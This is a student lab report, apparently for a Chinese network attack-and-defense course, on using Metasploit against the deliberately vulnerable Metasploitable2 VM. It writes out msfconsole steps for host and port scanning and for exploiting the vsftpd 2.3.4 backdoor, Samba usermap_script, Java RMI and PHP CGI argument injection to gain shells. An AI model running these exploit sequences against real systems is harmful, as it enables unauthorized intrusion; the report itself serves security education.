20222414 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
(1)前期渗透
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5)PHP CGI参数执行注入漏洞(80端口)
2.实验过程
2.1前期渗透
在靶机中使用ifconfig得到ip地址为172.16.209.186。
kail中ip地址为172.16.213.150
在kali中打开msfconsole,输入以下命令。
search arp_sweep
use 0
set RHOSTS 172.16.209.0/24
run
扫描到了靶机。
端口扫描
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
②在命令行中输入nmap -script=vuln 172.16.213.186对靶机的漏洞进行扫描
扫描系统版本、漏洞
输入命令
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 172.16.209.186
exploit
从图中可见,目标主机运行的是Unix操作系统,版本为Samba 3.0.20-Debian,并使用SMBv1协议,存在已知漏洞
2.2Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
在msfconsole中输入:
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 172.16.209.186
exploit
攻击完以后,输入pwd、uname -a、id等指令检测是否攻击成功
攻击成功
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
在msfconsole中输入:
use exploit/multi/samba/usermap_script
set RHOST 172.16.209.186
exploit
再输入uname -a命令,可以看到已经获取靶机的shell
攻击成功
2.4Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
在msfconsole中输入:
search exploit/multi/misc/java_rmi_server
use 0
set RHOST 172.16.209.186
exploit
输入shell,利用whoami指令验证,得到结果:root
攻击成功
2.5PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。
在msfconsole中输入:
use exploit/multi/http/php_cgi_arg_injection
set RHOST 172.16.209.186
exploit
shell
攻击成功
3.问题及解决方案
实验过程顺利,未遇到问题
4.学习感悟、思考等
在这次Metasploit的实践过程中,我深入了解了这款渗透测试工具的强大功能和灵活应用。通过本次实验,我不仅掌握了Metasploit的基本使用方法,还深刻体会到了网络安全的重要性和复杂性。
在实践初期,我首先通过Metasploit的辅助模块进行了主机发现和端口扫描,逐渐掌握了这些模块的使用方法,并成功发现了目标主机的开放端口和服务。随后,针对Metasploitable2靶机的几个具体漏洞进行了攻击实验。在Vsftpd源码包后门漏洞的利用过程中,我深刻感受到了漏洞的可怕之处。仅仅通过发送一个特定格式的用户名,就可以让服务器在指定端口监听并执行任意代码。这让我意识到,网络安全防护必须时刻保持警惕,稍有疏忽就可能给攻击者留下可乘之机。在Samba MS-RPC Shell命令注入漏洞和Java RMI SERVER命令执行漏洞的利用中,我进一步感受到了Metasploit在渗透测试中的强大作用。最后,在PHP CGI参数执行注入漏洞的利用中,我体会到了Web应用安全的脆弱性。CGI脚本的漏洞可能导致源代码泄露和执行命令的注入,给攻击者提供了极大的便利。这再次提醒我,在开发Web应用时,必须注重安全性的设计和实现。